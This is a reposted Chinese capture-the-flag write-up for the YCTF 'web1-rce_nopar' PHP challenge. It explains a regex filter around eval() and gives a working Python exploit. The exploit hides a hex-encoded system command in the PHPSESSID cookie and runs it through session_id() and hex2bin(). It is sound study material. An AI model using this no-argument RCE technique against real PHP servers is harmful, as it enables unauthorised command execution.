[2020YCTF]web1-rce_nopar


[YCTF]web1-rce_nopar

前言:

比賽題目環境版本是:PHP/5.5.9-1ubuntu4.14

如果要進行本地測試,請盡量使用附近的版本,我測試過5.6版本基本都可以用。

如果自己本地搭建,payload沒有成功,請檢查PHP的版本。

經過本地測試,payload在PHP7.2的版本,payload會不起作用,也得不到flag。

原因是更新的版本函數執行底層代碼改變了。

考察:無參RCE、session的使用、正則表達式

進入頁面,顯示如下php代碼。

<?php
if(isset($_GET['var'])){
    if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['var'])) {
        if (!preg_match('/et|dir|na|info|dec|oct|pi|log/i', $_GET['var'])) {
               eval($_GET['var']);
        } else {
            die("Sorry!");
        }
}
else{
    show_source(__FILE__);
}
?>

關鍵代碼如下:

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['var'])) {
    if (!preg_match('/et|dir|na|info|dec|oct|pi|log/i', $_GET['var'])) {
        eval($_GET['var']);
    }
}

先分析外層if句的正則表達式:

[^\W]+\((?R)?\)

首先分析[^\W]:

​ 其中"[]"表示匹配的開始結束,"^"表示取反。

\W,(注意這個W是大寫的),匹配非字母、數字、下划線。等價於 [^A-Za-z0-9_]

​ 所以[^\W]是對上面的\w取反: 匹配所有字母數字下划線的字母。

不太熟悉正則的注意正則中的 “+”,是為了拼接整個表達式的,並不是需要我們匹配 "+",

然后是\((?R)?\):

​ 其中兩側的\( 和\)表示匹配括號。

(?R),(?R)表示遞歸表達式本身,

(?R)?,最后的"?"表示匹配1個或者0個表達式本身,最后的 “?” 必不可少的。

綜上,我們大概就清晰了。

整個正則是要把對應形式的內容提取出來,然后通過preg_replace函數,用空字符串進行代替,得到一個字符串。

得到的這個字符串必須是完全等於“;”的。

我們的payload大致為如下形式,可以帶字母,數字,下划線。

一定明白好這個正則,使用函數必須無參。

a(b_c());

接下來分析內層的if判斷句

其實內層的正則就比較好過了,最重要的還是外層的正則。

/et|dir|na|info|dec|oct|pi|log/i

兩側的 ” / “ 是整個表達式的開頭和結尾,結尾的i表示不區分大小寫。

用|分隔多種匹配情況。

即:et、dir、na、info、dec、oct、pi、log都是非法的字符。

綜上,第二個正則:

我們輸入的參數,不可以帶 et、dir、na、info、dec、oct、pi、log中的任何一個,即便大小寫混合也不行。

進入我們構造payload的階段

先給出exp吧,這樣還比較好解釋。

腳本是python2的 , python3的encode()函數使用會不一樣

import requests

url = 'http://124.193.74.211:32373/?var=eval(hex2bin(session_id(session_start())));'

payload ="system('cat /flag.txt');".encode('hex')
#73797374656d2827636174202f666c61672e74787427293b
cookies = {

'PHPSESSID':payload

}
r = requests.get(url=url,cookies=cookies)

print (r.content)

經過分析,我們有了思路

第一我們清晰了參數大致形式: a( b_c() ) ;

第二明確了傳入的var必須是無參的,但使用eval的執行沒有參數又是不太現實的。

第三我們需要特殊手段,注入需要執行命令的參數,比如~: cookies。

驚喜:cookies有個PHPSESSID,在調用PHP的session_start();后函數會自動生成。

當然,在合法的規則下,我們可以更改這個PHPSESSID的值。

總結出利用手段:利用session構造無參數RCE

解釋函數:

仔細理解session_id函數的使用注意,這也是為什么我們要把命令執行語句,轉為16進制字符串的原因。

函數 功能: 使用注意:
session_start(); 創建新會話或者重用現有會話。 如果通過 GET 或者 POST 方式,或者使用 cookie 提交了會話 ID, 則會重用現有會話。
session_id(); 可以用來獲取/設置 當前會話 ID。 不同會話管理器對id中可以使用的字符有不同的限制。例有的管理器允許使用字符:*a-z A-Z 0-9 ,(逗號) - (減號)。
hex2bin() ; 把十六進制值的字符串轉換為 ASCII 字符串。
eval(); 把字符串按 PHP 代碼執行。

函數執行過程:

傳入我們的var變量和PHPSESSID后:

eval($_GET['var']);會觸發

詳細執行情況如下:

根據腳本此處 shell <==> system('cat /flag.txt');

eval("eval(hex2bin(session_id(session_start())));");

最后我們就得到了flag.txt文件的內容值。

image-20200329011744791


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM